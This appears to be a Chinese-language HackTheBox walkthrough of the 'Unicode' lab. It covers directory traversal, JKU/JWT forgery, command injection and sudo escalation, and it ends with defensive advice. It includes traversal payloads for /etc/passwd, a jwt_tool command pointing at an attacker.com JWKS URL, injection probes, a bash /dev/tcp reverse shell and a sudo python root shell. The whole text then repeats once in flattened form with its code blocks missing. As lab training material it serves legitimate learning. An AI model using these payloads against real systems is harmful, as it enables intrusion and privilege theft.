HackTheBox系列之Unicode
字数 1442 2025-08-10 12:17:54

HackTheBox Unicode 环境渗透测试教学文档

环境概述

本次HackTheBox的Unicode模拟环境主要涉及以下技术点:

  • Nginx目录遍历漏洞
  • JKU (JWK Set URL) 伪造
  • JWT (JSON Web Token) 令牌伪造
  • 命令注入漏洞
  • SUDO提权技术

目标是通过这些漏洞和技术最终获取系统flag。

初始信息收集

  1. 访问目标网站:https://www.hackthebox.com/
  2. 使用标准工具进行初始扫描:
    nmap -sV -sC -oA initial_scan <target_IP>
    
  3. 识别开放端口和服务,特别注意HTTP服务

Nginx目录遍历漏洞利用

  1. 发现目标运行Nginx web服务器
  2. 测试常见的目录遍历payload:
    http://<target_IP>/../../../../etc/passwd
    
  3. 使用编码绕过可能的过滤:
    http://<target_IP>/..%2f..%2f..%2f..%2fetc%2fpasswd
    
  4. 成功读取系统文件后,寻找敏感信息如:
    • /etc/passwd
    • /etc/shadow
    • 应用程序配置文件
    • 日志文件

JWT/JKU伪造攻击

  1. 在web应用中寻找使用JWT进行身份验证的端点

  2. 捕获有效的JWT令牌(通常位于Authorization头或cookie中)

  3. 分析JWT结构:

    Header.Payload.Signature
    
  4. 检查JWT头部是否包含"jku"参数,指示JWK Set URL

  5. 伪造攻击步骤:
    a. 创建恶意JWK Set文件
    b. 托管在可控服务器上
    c. 修改JWT头部,指向恶意JWK Set URL
    d. 使用私钥签名新令牌
    e. 用伪造令牌替换原令牌

  6. 使用工具如jwt_tool简化过程:

    python3 jwt_tool.py <original_JWT> -X k -ju "http://attacker.com/malicious_jwks.json"
    

命令注入漏洞利用

  1. 寻找可能执行系统命令的功能点:

    • 表单输入
    • URL参数
    • API端点
  2. 测试基本注入:

    ;id
    `id`
    $(id)
    
  3. 尝试绕过过滤:

    • 使用编码(base64, urlencode等)
    • 使用变量拼接
    • 使用替代命令分隔符
  4. 成功注入后建立反向shell:

    bash -c 'bash -i >& /dev/tcp/<attacker_IP>/<port> 0>&1'
    

SUDO提权技术

  1. 检查当前用户的sudo权限:

    sudo -l
    
  2. 寻找可利用的二进制:

    • 具有SUID位的程序
    • 不需要密码即可sudo执行的命令
  3. 常见提权向量:

    • 利用编辑器(vim, nano等)
    • 利用语言解释器(python, perl等)
    • 利用文件操作命令(cp, mv等)
  4. 如果发现可以无密码执行特定命令:

    sudo <command> <payload>
    
  5. 例如发现可以无密码执行python:

    sudo python -c 'import os; os.system("/bin/bash")'
    

完整攻击链示例

  1. 通过目录遍历获取配置文件,发现API端点
  2. 分析API使用的JWT认证机制
  3. 伪造JKU并生成恶意JWT令牌
  4. 使用伪造令牌访问特权API端点
  5. 在API参数中注入命令获取反向shell
  6. 在低权限shell中枚举sudo权限
  7. 利用不当的sudo配置提升至root
  8. 读取最终flag

防御措施

针对本环境中的漏洞,建议采取以下防护措施:

  1. 防止目录遍历

    • 正确配置Nginx,禁用目录列表
    • 对用户输入进行严格过滤
    • 使用chroot等隔离机制
  2. 保护JWT安全

    • 避免使用jku头部,或严格验证URL
    • 使用强密钥和适当算法(如RS256)
    • 设置合理的令牌过期时间
  3. 防止命令注入

    • 使用参数化查询和API
    • 避免直接拼接用户输入到命令中
    • 实施严格的输入验证
  4. 正确配置sudo

    • 遵循最小权限原则
    • 避免不必要的无密码sudo
    • 定期审计sudoers文件

工具推荐

  1. JWT相关:

    • jwt_tool
    • Burp Suite JWT插件
  2. 目录遍历检测:

    • DirBuster
    • Gobuster
  3. 命令注入测试:

    • Commix
    • Burp Scanner
  4. 提权枚举:

    • LinPEAS
    • Linux Exploit Suggester

通过以上步骤和技术,可以系统地攻破Unicode环境并获取flag。实际测试中需根据具体情况调整攻击策略。

HackTheBox Unicode 环境渗透测试教学文档 环境概述 本次HackTheBox的Unicode模拟环境主要涉及以下技术点: Nginx目录遍历漏洞 JKU (JWK Set URL) 伪造 JWT (JSON Web Token) 令牌伪造 命令注入漏洞 SUDO提权技术 目标是通过这些漏洞和技术最终获取系统flag。 初始信息收集 访问目标网站:https://www.hackthebox.com/ 使用标准工具进行初始扫描: 识别开放端口和服务,特别注意HTTP服务 Nginx目录遍历漏洞利用 发现目标运行Nginx web服务器 测试常见的目录遍历payload: 使用编码绕过可能的过滤: 成功读取系统文件后,寻找敏感信息如: /etc/passwd /etc/shadow 应用程序配置文件 日志文件 JWT/JKU伪造攻击 在web应用中寻找使用JWT进行身份验证的端点 捕获有效的JWT令牌(通常位于Authorization头或cookie中) 分析JWT结构: 检查JWT头部是否包含"jku"参数,指示JWK Set URL 伪造攻击步骤: a. 创建恶意JWK Set文件 b. 托管在可控服务器上 c. 修改JWT头部,指向恶意JWK Set URL d. 使用私钥签名新令牌 e. 用伪造令牌替换原令牌 使用工具如jwt_ tool简化过程: 命令注入漏洞利用 寻找可能执行系统命令的功能点: 表单输入 URL参数 API端点 测试基本注入: 尝试绕过过滤: 使用编码(base64, urlencode等) 使用变量拼接 使用替代命令分隔符 成功注入后建立反向shell: SUDO提权技术 检查当前用户的sudo权限: 寻找可利用的二进制: 具有SUID位的程序 不需要密码即可sudo执行的命令 常见提权向量: 利用编辑器(vim, nano等) 利用语言解释器(python, perl等) 利用文件操作命令(cp, mv等) 如果发现可以无密码执行特定命令: 例如发现可以无密码执行python: 完整攻击链示例 通过目录遍历获取配置文件,发现API端点 分析API使用的JWT认证机制 伪造JKU并生成恶意JWT令牌 使用伪造令牌访问特权API端点 在API参数中注入命令获取反向shell 在低权限shell中枚举sudo权限 利用不当的sudo配置提升至root 读取最终flag 防御措施 针对本环境中的漏洞,建议采取以下防护措施: 防止目录遍历 : 正确配置Nginx,禁用目录列表 对用户输入进行严格过滤 使用chroot等隔离机制 保护JWT安全 : 避免使用jku头部,或严格验证URL 使用强密钥和适当算法(如RS256) 设置合理的令牌过期时间 防止命令注入 : 使用参数化查询和API 避免直接拼接用户输入到命令中 实施严格的输入验证 正确配置sudo : 遵循最小权限原则 避免不必要的无密码sudo 定期审计sudoers文件 工具推荐 JWT相关: jwt_ tool Burp Suite JWT插件 目录遍历检测: DirBuster Gobuster 命令注入测试: Commix Burp Scanner 提权枚举: LinPEAS Linux Exploit Suggester 通过以上步骤和技术,可以系统地攻破Unicode环境并获取flag。实际测试中需根据具体情况调整攻击策略。